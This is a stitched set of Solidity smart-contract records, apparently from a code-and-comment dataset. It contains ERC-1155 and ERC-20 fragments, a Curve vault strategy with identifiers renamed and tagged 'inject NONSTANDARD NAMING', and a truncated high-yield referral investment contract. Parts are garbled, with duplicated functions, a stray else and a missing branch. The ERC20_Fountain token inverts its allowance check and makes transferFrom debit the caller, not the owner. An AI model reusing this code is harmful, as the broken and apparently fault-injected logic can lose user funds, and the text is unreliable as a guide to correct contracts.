{ operatorApproval[msg.sender][operator] = approved; emit ApprovalForAll(msg.sender, operator, approved); } function isApprovedForAll(address owner, address operator) public override view returns (bool) { bool approved = operatorApproval[owner][operator]; if (!approved && exchangesRegistry != address(0)) { return WhitelistExchangesProxy(exchangesRegistry).isAddressWhitelisted(operator) == true; } return approved; } function isApprovedForAll(address owner, address operator) public override view returns (bool) { bool approved = operatorApproval[owner][operator]; if (!approved && exchangesRegistry != address(0)) { return WhitelistExchangesProxy(exchangesRegistry).isAddressWhitelisted(operator) == true; } return approved; } function balanceOf(address owner, uint256 id) external override view returns (uint256) { if (isNonFungibleItem(id)) { return nfOwners[id] == owner ? 1 : 0; } return balances[id][owner]; } function balanceOf(address owner, uint256 id) external override view returns (uint256) { if (isNonFungibleItem(id)) { return nfOwners[id] == owner ? 1 : 0; } return balances[id][owner]; } function balanceOfBatch(address[] calldata owners, uint256[] calldata ids) external override view returns (uint256[] memory balances_) { require( owners.length == ids.length, "OWNERS_AND_IDS_MUST_HAVE_SAME_LENGTH" ); balances_ = new uint256[](owners.length); for (uint256 i = 0; i < owners.length; ++i) { uint256 id = ids[i]; if (isNonFungibleItem(id)) { balances_[i] = nfOwners[id] == owners[i] ? 1 : 0; balances_[i] = balances[id][owners[i]]; } } return balances_; } bytes4 constant private INTERFACE_SIGNATURE_ERC165 = 0x01ffc9a7; bytes4 constant private INTERFACE_SIGNATURE_ERC1155 = 0xd9b67a26; function balanceOfBatch(address[] calldata owners, uint256[] calldata ids) external override view returns (uint256[] memory balances_) { require( owners.length == ids.length, "OWNERS_AND_IDS_MUST_HAVE_SAME_LENGTH" ); balances_ = new uint256[](owners.length); for (uint256 i = 0; i < owners.length; ++i) { uint256 id = ids[i]; if (isNonFungibleItem(id)) { balances_[i] = nfOwners[id] == owners[i] ? 1 : 0; balances_[i] = balances[id][owners[i]]; } } return balances_; } bytes4 constant private INTERFACE_SIGNATURE_ERC165 = 0x01ffc9a7; bytes4 constant private INTERFACE_SIGNATURE_ERC1155 = 0xd9b67a26; function balanceOfBatch(address[] calldata owners, uint256[] calldata ids) external override view returns (uint256[] memory balances_) { require( owners.length == ids.length, "OWNERS_AND_IDS_MUST_HAVE_SAME_LENGTH" ); balances_ = new uint256[](owners.length); for (uint256 i = 0; i < owners.length; ++i) { uint256 id = ids[i]; if (isNonFungibleItem(id)) { balances_[i] = nfOwners[id] == owners[i] ? 1 : 0; balances_[i] = balances[id][owners[i]]; } } return balances_; } bytes4 constant private INTERFACE_SIGNATURE_ERC165 = 0x01ffc9a7; bytes4 constant private INTERFACE_SIGNATURE_ERC1155 = 0xd9b67a26; } else { function supportsInterface(bytes4 _interfaceID) external view returns (bool) { if (_interfaceID == INTERFACE_SIGNATURE_ERC165 || _interfaceID == INTERFACE_SIGNATURE_ERC1155) { return true; } return false; } function supportsInterface(bytes4 _interfaceID) external view returns (bool) { if (_interfaceID == INTERFACE_SIGNATURE_ERC165 || _interfaceID == INTERFACE_SIGNATURE_ERC1155) { return true; } return false; } }
63,636
./full_match/1/0xF3e45c7271AC74e2e9e969dCB90889a634601901/sources/contracts/S1VesperFinanceETH.sol
claim VSP tokens, swap them for ETH and withdraw
function claimInETH(uint256 _amountOutMin) external { claimInToken(wethAddress, _amountOutMin); }
16,534,355
// SPDX-License-Identifier: MIT pragma solidity ^0.5.17; interface IERC20 { function TOTALSUPPLY419() external view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOF996(address account) external view returns (uint256); //inject NONSTANDARD NAMING function TRANSFER376(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function ALLOWANCE696(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING function APPROVE263(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM581(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING event TRANSFER351(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING event APPROVAL946(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING } library SafeMath { function ADD509(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function SUB882(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return SUB882(a, b, "SafeMath: subtraction overflow"); } function SUB882(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b <= a, errorMessage); uint256 c = a - b; return c; } function MUL339(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function DIV809(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return DIV809(a, b, "SafeMath: division by zero"); } function DIV809(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function MOD891(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return MOD891(a, b, "SafeMath: modulo by zero"); } function MOD891(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b != 0, errorMessage); return a % b; } } library Address { function ISCONTRACT313(address account) internal view returns (bool) { //inject NONSTANDARD NAMING // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function TOPAYABLE45(address account) internal pure returns (address payable) { //inject NONSTANDARD NAMING return address(uint160(account)); } function SENDVALUE473(address payable recipient, uint256 amount) internal { //inject NONSTANDARD NAMING require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function SAFETRANSFER885(IERC20 token, address to, uint256 value) internal { //inject NONSTANDARD NAMING CALLOPTIONALRETURN246(token, abi.encodeWithSelector(token.TRANSFER376.selector, to, value)); } function SAFETRANSFERFROM553(IERC20 token, address from, address to, uint256 value) internal { //inject NONSTANDARD NAMING CALLOPTIONALRETURN246(token, abi.encodeWithSelector(token.TRANSFERFROM581.selector, from, to, value)); } function SAFEAPPROVE341(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.ALLOWANCE696(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); CALLOPTIONALRETURN246(token, abi.encodeWithSelector(token.APPROVE263.selector, spender, value)); } function SAFEINCREASEALLOWANCE60(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING uint256 newAllowance = token.ALLOWANCE696(address(this), spender).ADD509(value); CALLOPTIONALRETURN246(token, abi.encodeWithSelector(token.APPROVE263.selector, spender, newAllowance)); } function SAFEDECREASEALLOWANCE623(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING uint256 newAllowance = token.ALLOWANCE696(address(this), spender).SUB882(value, "SafeERC20: decreased allowance below zero"); CALLOPTIONALRETURN246(token, abi.encodeWithSelector(token.APPROVE263.selector, spender, newAllowance)); } function CALLOPTIONALRETURN246(IERC20 token, bytes memory data) private { //inject NONSTANDARD NAMING // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).ISCONTRACT313(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // interface IController { function WITHDRAW936(address, uint256) external; //inject NONSTANDARD NAMING function BALANCEOF996(address) external view returns (uint256); //inject NONSTANDARD NAMING function EARN112(address, uint256) external; //inject NONSTANDARD NAMING function WANT318(address) external view returns (address); //inject NONSTANDARD NAMING function REWARDS351() external view returns (address); //inject NONSTANDARD NAMING function VAULTS378(address) external view returns (address); //inject NONSTANDARD NAMING function STRATEGIES650(address) external view returns (address); //inject NONSTANDARD NAMING } // interface Gauge { function DEPOSIT828(uint256) external; //inject NONSTANDARD NAMING function BALANCEOF996(address) external view returns (uint256); //inject NONSTANDARD NAMING function WITHDRAW936(uint256) external; //inject NONSTANDARD NAMING } // interface Mintr { function MINT422(address) external; //inject NONSTANDARD NAMING } // interface Uni { function SWAPEXACTTOKENSFORTOKENS240( //inject NONSTANDARD NAMING uint256, uint256, address[] calldata, address, uint256 ) external; } // interface ICurveFi { function GET_VIRTUAL_PRICE800() external view returns (uint256); //inject NONSTANDARD NAMING function ADD_LIQUIDITY808( //inject NONSTANDARD NAMING // sBTC pool uint256[3] calldata amounts, uint256 min_mint_amount ) external; function ADD_LIQUIDITY808( //inject NONSTANDARD NAMING // bUSD pool uint256[4] calldata amounts, uint256 min_mint_amount ) external; function REMOVE_LIQUIDITY_IMBALANCE228(uint256[4] calldata amounts, uint256 max_burn_amount) external; //inject NONSTANDARD NAMING function REMOVE_LIQUIDITY138(uint256 _amount, uint256[4] calldata amounts) external; //inject NONSTANDARD NAMING function EXCHANGE730( //inject NONSTANDARD NAMING int128 from, int128 to, uint256 _from_amount, uint256 _min_to_amount ) external; } interface Zap { function REMOVE_LIQUIDITY_ONE_COIN571( //inject NONSTANDARD NAMING uint256, int128, uint256 ) external; } // // NOTE: Basically an alias for Vaults interface yERC20 { function DEPOSIT828(uint256 _amount) external; //inject NONSTANDARD NAMING function WITHDRAW936(uint256 _amount) external; //inject NONSTANDARD NAMING function GETPRICEPERFULLSHARE410() external view returns (uint256); //inject NONSTANDARD NAMING } // interface VoterProxy { function WITHDRAW936( //inject NONSTANDARD NAMING address _gauge, address _token, uint256 _amount ) external returns (uint256); function BALANCEOF996(address _gauge) external view returns (uint256); //inject NONSTANDARD NAMING function WITHDRAWALL4(address _gauge, address _token) external returns (uint256); //inject NONSTANDARD NAMING function DEPOSIT828(address _gauge, address _token) external; //inject NONSTANDARD NAMING function HARVEST862(address _gauge) external; //inject NONSTANDARD NAMING function LOCK494() external; //inject NONSTANDARD NAMING } // contract StrategyCurveBUSDVoterProxy { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; address public constant want963 = address(0x3B3Ac5386837Dc563660FB6a0937DFAa5924333B); //inject NONSTANDARD NAMING address public constant crv787 = address(0xD533a949740bb3306d119CC777fa900bA034cd52); //inject NONSTANDARD NAMING address public constant uni793 = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //inject NONSTANDARD NAMING address public constant weth737 = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); //inject NONSTANDARD NAMING address public constant dai668 = address(0x6B175474E89094C44Da98b954EedeAC495271d0F); //inject NONSTANDARD NAMING address public constant ydai985 = address(0xa3Aa4a71dBb17EBF2108A75b0BB7eFd9955463EF);//itoken //inject NONSTANDARD NAMING address public constant curve489 = address(0x79a8C46DeA5aDa233ABaFFD40F3A0A2B1e5A4F27); //inject NONSTANDARD NAMING address public constant gauge170 = address(0x69Fb7c45726cfE2baDeE8317005d3F94bE838840); //inject NONSTANDARD NAMING address public constant voter494 = address(0x07443C1cdb3653746727D595D2c1e5B438e0535A);//CurveYCRVVoter //inject NONSTANDARD NAMING uint256 public keepCRV = 1000; uint256 public constant keepcrvmax536 = 10000; //inject NONSTANDARD NAMING uint256 public performanceFee = 3000; uint256 public constant performancemax55 = 10000; //inject NONSTANDARD NAMING uint256 public withdrawalFee = 50; uint256 public constant withdrawalmax744 = 10000; //inject NONSTANDARD NAMING address public proxy; address public governance; address public controller; address public strategist; constructor(address _controller) public { governance = msg.sender; strategist = msg.sender; controller = _controller; } function GETNAME315() external pure returns (string memory) { //inject NONSTANDARD NAMING return "StrategyCurveBUSDVoterProxy"; } function SETSTRATEGIST730(address _strategist) external { //inject NONSTANDARD NAMING require(msg.sender == governance, "!governance"); strategist = _strategist; } function SETKEEPCRV658(uint256 _keepCRV) external { //inject NONSTANDARD NAMING require(msg.sender == governance, "!governance"); keepCRV = _keepCRV; } function SETWITHDRAWALFEE696(uint256 _withdrawalFee) external { //inject NONSTANDARD NAMING require(msg.sender == governance, "!governance"); withdrawalFee = _withdrawalFee; } function SETPERFORMANCEFEE960(uint256 _performanceFee) external { //inject NONSTANDARD NAMING require(msg.sender == governance, "!governance"); performanceFee = _performanceFee; } function SETPROXY105(address _proxy) external { //inject NONSTANDARD NAMING require(msg.sender == governance, "!governance"); proxy = _proxy; } function DEPOSIT828() public { //inject NONSTANDARD NAMING uint256 _want = IERC20(want963).BALANCEOF996(address(this)); if (_want > 0) { IERC20(want963).SAFETRANSFER885(proxy, _want); VoterProxy(proxy).DEPOSIT828(gauge170, want963); } } // Controller only function for creating additional rewards from dust function WITHDRAW936(IERC20 _asset) external returns (uint256 balance) { //inject NONSTANDARD NAMING require(msg.sender == controller, "!controller"); require(want963 != address(_asset), "want"); require(crv787 != address(_asset), "crv"); require(ydai985 != address(_asset), "ydai"); require(dai668 != address(_asset), "dai"); balance = _asset.BALANCEOF996(address(this)); _asset.SAFETRANSFER885(controller, balance); } // Withdraw partial funds, normally used with a vault withdrawal function WITHDRAW936(uint256 _amount) external { //inject NONSTANDARD NAMING require(msg.sender == controller, "!controller"); uint256 _balance = IERC20(want963).BALANCEOF996(address(this)); if (_balance < _amount) { _amount = _WITHDRAWSOME256(_amount.SUB882(_balance)); _amount = _amount.ADD509(_balance); } uint256 _fee = _amount.MUL339(withdrawalFee).DIV809(withdrawalmax744); IERC20(want963).SAFETRANSFER885(IController(controller).REWARDS351(), _fee); address _vault = IController(controller).VAULTS378(address(want963)); require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds IERC20(want963).SAFETRANSFER885(_vault, _amount.SUB882(_fee)); } // Withdraw all funds, normally used when migrating strategies function WITHDRAWALL4() external returns (uint256 balance) { //inject NONSTANDARD NAMING require(msg.sender == controller, "!controller"); _WITHDRAWALL830(); balance = IERC20(want963).BALANCEOF996(address(this)); address _vault = IController(controller).VAULTS378(address(want963)); require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds IERC20(want963).SAFETRANSFER885(_vault, balance); } function _WITHDRAWALL830() internal { //inject NONSTANDARD NAMING VoterProxy(proxy).WITHDRAWALL4(gauge170, want963); } function HARVEST862() public { //inject NONSTANDARD NAMING require(msg.sender == strategist || msg.sender == governance, "!authorized"); VoterProxy(proxy).HARVEST862(gauge170); uint256 _crv = IERC20(crv787).BALANCEOF996(address(this)); if (_crv > 0) { uint256 _keepCRV = _crv.MUL339(keepCRV).DIV809(keepcrvmax536); IERC20(crv787).SAFETRANSFER885(voter494, _keepCRV); _crv = _crv.SUB882(_keepCRV); IERC20(crv787).SAFEAPPROVE341(uni793, 0); IERC20(crv787).SAFEAPPROVE341(uni793, _crv); address[] memory path = new address[](3); path[0] = crv787; path[1] = weth737; path[2] = dai668; Uni(uni793).SWAPEXACTTOKENSFORTOKENS240(_crv, uint256(0), path, address(this), now.ADD509(1800)); } uint256 _dai = IERC20(dai668).BALANCEOF996(address(this)); if (_dai > 0) { IERC20(dai668).SAFEAPPROVE341(ydai985, 0); IERC20(dai668).SAFEAPPROVE341(ydai985, _dai); yERC20(ydai985).DEPOSIT828(_dai); } uint256 _ydai = IERC20(ydai985).BALANCEOF996(address(this)); if (_ydai > 0) { IERC20(ydai985).SAFEAPPROVE341(curve489, 0); IERC20(ydai985).SAFEAPPROVE341(curve489, _ydai); ICurveFi(curve489).ADD_LIQUIDITY808([_ydai, 0, 0, 0], 0); } uint256 _want = IERC20(want963).BALANCEOF996(address(this)); if (_want > 0) { uint256 _fee = _want.MUL339(performanceFee).DIV809(performancemax55); IERC20(want963).SAFETRANSFER885(IController(controller).REWARDS351(), _fee); DEPOSIT828(); } VoterProxy(proxy).LOCK494(); } function _WITHDRAWSOME256(uint256 _amount) internal returns (uint256) { //inject NONSTANDARD NAMING return VoterProxy(proxy).WITHDRAW936(gauge170, want963, _amount); } function BALANCEOFWANT761() public view returns (uint256) { //inject NONSTANDARD NAMING return IERC20(want963).BALANCEOF996(address(this)); } function BALANCEOFPOOL660() public view returns (uint256) { //inject NONSTANDARD NAMING return VoterProxy(proxy).BALANCEOF996(gauge170); } function BALANCEOF996() public view returns (uint256) { //inject NONSTANDARD NAMING return BALANCEOFWANT761().ADD509(BALANCEOFPOOL660()); } function SETGOVERNANCE812(address _governance) external { //inject NONSTANDARD NAMING require(msg.sender == governance, "!governance"); governance = _governance; } function SETCONTROLLER990(address _controller) external { //inject NONSTANDARD NAMING require(msg.sender == governance, "!governance"); controller = _controller; } }
inject NONSTANDARD NAMING
function BALANCEOF996(address) external view returns (uint256);
12,870,914
./full_match/4/0xb381d6FBd286bE99BCE0146df3D82B3fE4A91015/sources/contracts/TokenCity282022Fire.sol
grants minter role to user (only for `DEFAULT_ADMIN_ROLE`) user address of user
function grantRoleMinter(address user) external onlyRole(DEFAULT_ADMIN_ROLE) { grantRole(MINTER_ROLE, user); }
796,759
pragma solidity ^0.7.0; // SPDX-License-Identifier: AGPL-3.0-or-later //MATH OPERATIONS -- designed to avoid possibility of errors with built-in math functions library SafeMath { //@dev Multiplies two numbers, throws on overflow. function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } //@dev Integer division of two numbers, truncating the quotient (i.e. rounds down). function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); Solidity automatically throws when dividing by 0 uint256 c = a / b; return c; } //@dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); uint256 c = a - b; return c; } //@dev Adds two numbers, throws on overflow. function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } //end library } contract ERC20_Fountain { using SafeMath for uint256; //ERC 20 standard for the number of decimals the token uses. uint8 public decimals; //tracks total existing number of tokens. named to match ERC-20 standard (see https://eips.ethereum.org/EIPS/eip-20) uint256 public totalSupply; //token name string public name; //token symbol string public symbol; // track token balances mapping(address => uint256) public tokenBalanceLedger_; //track approved addresses to allow transferFrom functionality - stored as allowance[from][spender] = allowance that [spender] is approved to send from [from] //named to match ERC-20 standard mapping(address => mapping(address => uint256)) public allowance; //EVENTS //when a transfer is completed //also emitted for token mint/burn events, in which cases, respectively, from/to is set to the 0 address (matches ERC20 standard) event Transfer(address indexed from, address indexed to, uint256 tokensTransferred); // ERC20 compliance //when the tokenOwner address adjusts the allowance that the approvedAddress is allowed to transfer from the holdings of tokenOwner //relevant to transferFrom functionality event Approval(address indexed tokenOwner, address indexed approvedAddress, uint256 newAllowance); constructor(uint8 _decimals, string memory _name, string memory _symbol) { decimals = _decimals; name = _name; symbol = _symbol; } /// @notice transfers tokens from message sender to another address function transfer(address toAddress, uint256 amountTokens) external returns (bool) { require( (amountTokens <= tokenBalanceLedger_[ msg.sender ]), "ERC20: Token balance is insufficient for transfer action." ); transferInternal(msg.sender, toAddress, amountTokens); return true; } /// @notice sets approved amount of tokens that an external address can transfer on behalf of the user function approve(address approvedAddress, uint256 amountTokens) external returns (bool) { allowance[msg.sender][approvedAddress] = amountTokens; emit Approval(msg.sender, approvedAddress, amountTokens); return true; } /// @notice increases approved amount of tokens that an external address can transfer on behalf of the user function increaseAllowance(address approvedAddress, uint256 amountTokens) external returns (bool) { uint256 pastAllowance = allowance[msg.sender][approvedAddress]; uint256 newAllowance = pastAllowance.add(amountTokens); allowance[msg.sender][approvedAddress] = newAllowance; emit Approval(msg.sender, approvedAddress, newAllowance); return true; } /// @notice decreases approved amount of tokens that an external address can transfer on behalf of the user function decreaseAllowance( address approvedAddress, uint256 amountTokens) external returns (bool) { uint256 pastAllowance = allowance[msg.sender][approvedAddress]; uint256 newAllowance = pastAllowance.sub(amountTokens); allowance[msg.sender][approvedAddress] = newAllowance; emit Approval(msg.sender, approvedAddress, newAllowance); return true; } modifier checkTransferApproved(address fromAddress, uint256 amountTokens) { if (fromAddress != msg.sender){ require( allowance[fromAddress][msg.sender] <= amountTokens, "ERC20: Transfer not authorized -- allowance insufficient." ); } _; } /// @notice transfers tokens from one address to another function transferFrom(address fromAddress, address toAddress, uint256 amountTokens) checkTransferApproved(fromAddress , amountTokens) external returns (bool) { // make sure sending address has requested tokens require( (amountTokens <= tokenBalanceLedger_[ fromAddress ]), "ERC20: Transfer not allowed - insufficient funds available." ); //update allowance (reduce it by tokens to be sent) uint256 pastAllowance = allowance[fromAddress][msg.sender]; uint256 newAllowance = pastAllowance.sub(amountTokens); allowance[fromAddress][msg.sender] = newAllowance; //make the transfer internally transferInternal(msg.sender, toAddress, amountTokens); return true; } /// @notice returns token balance of desired address /// @dev conforms to ERC-20 standard function balanceOf(address userAddress) external view returns(uint256 balance) { return (tokenBalanceLedger_[userAddress]); } //adds new tokens to total token supply and gives them to the user function mint(address userAddress, uint256 amountTokens) internal { require( userAddress != address(0), "ERC20: cannot mint tokens for zero address." ); totalSupply = totalSupply.add(amountTokens); tokenBalanceLedger_[userAddress] = tokenBalanceLedger_[userAddress].add(amountTokens); emit Transfer(address(0), userAddress, amountTokens); } //destroys tokens, i.e. removes them from total token supply and subtracts them from user balance function burn(address userAddress, uint256 amountTokens) internal { require( userAddress != address(0), "ERC20: cannot burn tokens for zero address." ); require( amountTokens <= tokenBalanceLedger_[userAddress], "Insufficient funds available." ); tokenBalanceLedger_[userAddress] = tokenBalanceLedger_[userAddress].sub(amountTokens); totalSupply = totalSupply.sub(amountTokens); emit Transfer(userAddress, address(0), amountTokens); } //manages transfers of tokens in both transfer and transferFrom functions function transferInternal(address fromAddress, address toAddress, uint256 amountTokens) internal { require(fromAddress != address(0), "ERC20: cannot transfer from zero address"); require(toAddress != address(0), "ERC20: cannot transfer to zero address"); tokenBalanceLedger_[fromAddress] = tokenBalanceLedger_[fromAddress].sub(amountTokens); tokenBalanceLedger_[toAddress] = tokenBalanceLedger_[toAddress].add(amountTokens); emit Transfer(fromAddress, toAddress, amountTokens); } function createTokens(uint256 amountToMint) public { mint(msg.sender, amountToMint); } }
increases approved amount of tokens that an external address can transfer on behalf of the user
function increaseAllowance(address approvedAddress, uint256 amountTokens) external returns (bool) { uint256 pastAllowance = allowance[msg.sender][approvedAddress]; uint256 newAllowance = pastAllowance.add(amountTokens); allowance[msg.sender][approvedAddress] = newAllowance; emit Approval(msg.sender, approvedAddress, newAllowance); return true; }
989,842
./partial_match/1/0xC54698d116F40faBD5349BB7a756CFea1Cb084aD/sources/DRCHashDataCon.sol
get inserted hash string by the Tx hash _txHash is input value of Tx hash return is the hash string corresponding to the Tx hash/
function getHashByTxId(string memory _txHash) public view returns (string memory) { require(!_txHash.equal("")); return insertedHashInfo[_txHash]; }
3,885,143
// SPDX-License-Identifier: MIT pragma solidity ^0.6.12; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } } interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } /* * @dev Get the current price of ETH/USD in a buyTokens function of a deployed solidity smart contract */ interface AggregatorInterface { function latestAnswer() external view returns (int256); function latestTimestamp() external view returns (uint256); function latestRound() external view returns (uint256); function getAnswer(uint256 roundId) external view returns (int256); function getTimestamp(uint256 roundId) external view returns (uint256); event AnswerUpdated(int256 indexed current, uint256 indexed roundId, uint256 updatedAt); event NewRound(uint256 indexed roundId, address indexed startedBy, uint256 startedAt); } /* * @title 1CC Global Financial System, build in Ethereum Network * @dev A financial system built on smart contract technology. Open to all, transparent to all. * The worlds first decentralized, community support fund */ contract OneCoinGlobal is Ownable { IERC20 public investToken; AggregatorInterface internal ethPriceFeed; using SafeMath for uint256; struct PlayerDeposit { uint256 id; uint256 amount; uint256 total_withdraw; uint256 time; uint256 period; uint256 expire; uint8 status; uint8 is_crowd; } struct Player { address referral; uint8 is_crowd; uint256 level_id; uint256 dividends; uint256 eth_dividends; uint256 referral_bonus; uint256 match_bonus; uint256 holder_full_bonus; uint256 holder_single_bonus; uint256 total_invested; uint256 total_redeem; uint256 total_withdrawn; uint256 last_payout; PlayerDeposit[] deposits; address[] referrals; } struct PlayerTotal { uint256 total_match_invested; uint256 total_dividends; uint256 total_referral_bonus; uint256 total_match_bonus; uint256 total_holder_full_bonus; uint256 total_holder_single_bonus; uint256 total_eth_dividends; } /* Deposit smart contract address */ address public invest_token_address = 0x94E042C6fD31bb391FC27c0091785728D9bCD149; /* Chainlink ETH/USD proxy address */ address public ethusd_proxy_address = 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419; uint256 public invest_token_decimal = 4; uint256 public invest_eth_decimal = 8; uint256 public total_investors; uint256 public total_invested; uint256 public total_withdrawn; uint256 public total_redeem; uint256 public total_referral_bonus; uint256 public total_match_bonus; uint256 public total_dividends; uint256 public total_eth_dividends; uint256 public total_holder_full_bonus; uint256 public total_holder_single_bonus; uint256 public total_platform_bonus; /* Current corwded shareholder number */ uint256 public total_crowded_num; /* Total shareholder join limit number */ uint256 constant public SHAREHOLDER_LIMIT_NUM = 30; /* Shareholder bonus rate */ uint256 constant public shareholder_full_bonus_rate = 5; uint256 constant public shareholder_single_bonus_rate = 3; /* Referral bonuses data define*/ uint8[] public referral_bonuses = [10,8,6,4,2,1,1,1,1,1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]; /* Invest period and profit parameter definition */ uint256[] public invest_period_months = [1, 2, 3, 6, 12, 18]; //period months uint256[] public invest_period_month_rates = [800, 900, 1000, 1100, 1200, 1200]; //Ten thousand of month' rate /* yield reduce project section config, item1: total yield, item2: reduce rate */ uint256[] public yield_reduce_section1 = [2000000, 30]; uint256[] public yield_reduce_section2 = [5000000, 30]; uint256[] public yield_reduce_section3 = [9000000, 30]; /* Team level data definition */ uint256[] public team_level_ids = [1,2,3,4,5,6]; uint256[] public team_level_amounts = [10000,30000,50000,100000,200000,500000]; uint256[] public team_level_bonuses = [2,4,6,8,10,11]; /* invest coin usd price */ uint256 public invest_coin_usd_price = 1; /* invest reward eth rate ‰ */ uint256 public invest_reward_eth_month_rate = 25; /* ETH min withdraw amount: 0.1 ETH */ uint256 public eth_min_withdraw_num = 1 * (10 ** 17); /* user invest min amount */ uint256 constant public INVEST_MIN_AMOUNT = 100; /* user invest max amount */ uint256 constant public INVEST_MAX_AMOUNT = 10000; /* user crowd limit amount */ uint256 constant public CROWD_LIMIT_AMOUNT = 15000; /* user crowd period(month) */ uint256 constant public crowd_period_month = 18; /* Platform bonus address */ address public platform_bonus_address = 0xb42a4bed3C53a7aC9551670dF0AF36956c7b87F1; /* Platform bonus rate percent(%) */ uint256 constant public platform_bonus_rate = 5; /* Mapping data list define */ mapping(address => Player) public players; mapping(address => PlayerTotal) public playerTotals; mapping(uint256 => address) public addrmap; address[] public shareholders; event Deposit(address indexed addr, uint256 amount, uint256 month); event Withdraw(address indexed addr, uint256 amount); event ReferralPayout(address indexed addr, uint256 amount, uint8 level); event Crowd(address indexed addr, uint256 amount); event DepositRedeem(uint256 invest_id); constructor() public { /* Create invest token instace */ investToken = IERC20(invest_token_address); /* Create eth price feed in chainlink */ ethPriceFeed = AggregatorInterface(ethusd_proxy_address); } /* Function to receive Ether. msg.data must be empty */ receive() external payable {} /* Fallback function is called when msg.data is not empty */ fallback() external payable {} function getBalance() public view returns (uint) { return address(this).balance; } /* * @dev user do deposit action,grant the referrs 